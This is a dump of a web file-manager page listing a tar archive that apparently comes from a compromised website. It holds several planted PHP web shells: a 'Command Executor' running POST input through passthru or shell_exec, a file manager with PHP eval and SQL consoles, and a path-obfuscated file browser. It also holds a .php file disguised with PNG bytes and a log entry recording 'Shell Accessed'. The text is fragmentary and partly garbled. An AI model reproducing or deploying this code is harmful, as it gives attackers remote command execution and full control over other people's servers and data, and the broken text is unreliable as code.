芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/zjuegi.tar


"; echo " "; echo "Cancel"; echo "
"; exit; } } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; // Check if this is a confirmation request $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes'; if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); $message = "Folder '{$file}' deleted successfully!"; } else { if(unlink($file_path)){ $message = "File '{$file}' deleted successfully!"; } else { $message = "Error deleting file '{$file}'!"; } } header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message)); exit; } else { // Show confirmation page if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ echo "Confirm Delete"; echo "

Confirm Delete

"; echo "

Are you sure you want to delete '".htmlspecialchars($file)."'?

"; echo "

Type: " . (is_dir($file_path) ? "Folder" : "File") . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "
"; echo "YES, DELETE | "; echo "Cancel"; echo ""; exit; } } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ if(move_uploaded_file($uploaded['tmp_name'], $dest)){ @chmod($dest, 0644); $message = "File '{$name}' uploaded successfully!"; } else { $message = "Error uploading file '{$name}'!"; } } else { $message = "Invalid upload path!"; } } else { $message = "Upload error: " . $uploaded['error']; } } // Stay on same page with message break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ if(mkdir($fp, 0755, true)){ $message = "Folder '{$folder}' created successfully!"; } else { $message = "Error creating folder '{$folder}'!"; } } else { $message = "Folder already exists or invalid path!"; } } else { $message = "Please enter a folder name!"; } } // Stay on same page with message break; } // Get message from URL if redirected if(isset($_GET['message'])){ $message = $_GET['message']; } ?> File Manager

File Manager -

← Back 🏠 Project 📁 Root     Current: / () /

No files or folders found in this directory.

Name Type Size Modified Actions
📁 📄 Open Edit Download Delete
Security Info: You can only access files within:
index.php000064400000000147151547723150006400 0ustar00lc20b.php000064400000235003151547723220006172 0ustar00‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
ACTIONS; // === File List === $items = []; if ($dh = @opendir('.')) { while (($f = readdir($dh)) !== false) { if ($f === '.' || $f === '..') continue; $items[] = $f; } closedir($dh); natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10) } echo ''; echo ''; echo ''; foreach ($items as $item) { $path = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($item); $size = $isDir ? '-' : number_format(filesize($item)); $perm = substr(sprintf('%o', fileperms($item)), -4); $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked'); // Owner/Group $owner = $group = '???'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $o = @posix_getpwuid(@fileowner($item)); $g = @posix_getgrgid(@filegroup($item)); $owner = $o ? $o['name'] : '???'; $group = $g ? $g['name'] : '???'; } $enc_item = urlencode($item); $enc_path = urlencode($path); $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}"; $name_display = htmlspecialchars($item) . ($isDir ? '/' : ''); echo ''; echo ""; echo ""; echo ""; echo ""; echo ""; } echo '
NameSizePermissionsOwner/GroupActions
{$name_display}{$size}{$perm}{$owner}:{$group}"; // Actions if (!$isDir) { echo "Edit"; } // Rename Popup echo " Rename"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Chmod Popup echo " Chmod"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Delete $del_action = $isDir ? 'delete_dir' : 'delete_file'; echo " Del"; echo "
'; // === Handle Special Views === if ($_GET['x'] === 'edit') { $file = urldecode($_GET['f']); if ($_POST['save'] === '1') { file_put_contents($file, $_POST['content']); echo '
✅ Saved!
'; } $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : ''; echo '

✏️ Editing: ' . htmlspecialchars($file) . '

'; echo '
'; echo ''; echo '
'; echo ''; echo ' ← Back'; echo '
'; } elseif ($_GET['x'] === 'info') { // Info panel (same as before) $moreI = [ 'PHP Version' => phpversion(), 'Server Software' => $_SERVER['SERVER_SOFTWARE'], 'Uname' => php_uname(), 'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')', 'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF', 'Open BaseDir' => ini_get('open_basedir') ?: 'OFF', 'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF', 'Curl' => extension_loaded('curl') ? 'ON' : 'OFF', 'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Your IP' => $_SERVER['REMOTE_ADDR'], 'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A' ]; echo '

ℹ️ System Info

'; foreach ($moreI as $k => $v) { echo ""; } echo '
{$k}: {$v}

← Back'; } elseif ($_GET['x'] === 'cmd') { if ($_POST['cmd']) { echo '
';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '
'; } echo '

💻 Command Executor

'; echo '
'; echo '
'; echo '
← Back'; } print ''; ?>index-20260307210216.php000064400000000147151547723340007756 0ustar006hwey.php000064400000045544151547723410006344 0ustar00 $item, 'path' => $full_path, 'size' => is_file($full_path) ? filesize($full_path) : 0, 'type' => is_dir($full_path) ? 'directory' : 'file', 'modified' => date('Y-m-d H:i:s', filemtime($full_path)) ]; } } return $files; } function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // ==================== REQUESTED DIRECTORY HANDLING ==================== $requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir); $current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : ''); $current_dir = safe_realpath_within($current_dir_candidate, $root_anchor); if($current_dir === false){ $requested_dir = basename($base_dir); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if($current_dir === false){ $requested_dir = ''; $current_dir = safe_realpath_within($root_anchor, $root_anchor); } } // ==================== PARENT DIRECTORY CALCULATION ==================== if($requested_dir !== ''){ $parent_dir = dirname($requested_dir); if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = ''; } else { $parent_dir = ''; } // ==================== BREADCRUMB ==================== $dir_parts = []; if($requested_dir !== ''){ $parts = explode('/', $requested_dir); $acc = ''; foreach($parts as $p){ if($p === '') continue; $acc .= ($acc === '' ? '' : '/') . $p; $dir_parts[] = ['name' => $p, 'path' => $acc]; } } // ==================== ACTION HANDLING ==================== $action = $_GET['action'] ?? 'list'; switch($action){ case 'view': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Type: text/plain'); readfile($file_path); exit; } break; case 'edit': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $content = $_POST['content'] ?? ''; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ file_put_contents($file_path, $content); } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; } if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ $content = htmlspecialchars(file_get_contents($file_path)); echo "Edit: ".htmlspecialchars($file).""; echo "

✏️ Edit: ".htmlspecialchars($file)."

"; echo "
"; echo "

"; echo " "; echo "🚫 Cancel"; echo "
"; exit; } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); } else { unlink($file_path); } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'upload': if(!empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ move_uploaded_file($uploaded['tmp_name'], $dest); @chmod($dest, 0644); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ mkdir($fp, 0755, true); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; } ?> 📁 File Manager

📁 File Manager

📍
📭

This folder is empty

Upload files or create new folders to get started

Name Type Size Modified Actions
samurai_activity.log000064400000000304151547723460010637 0ustar00[2026-03-13 08:56:52] IP: 57.141.2.56 | Action: Shell Accessed | Target: 57.141.2.56 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) z86uk.php000064400000026255151547723530006272 0ustar00]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

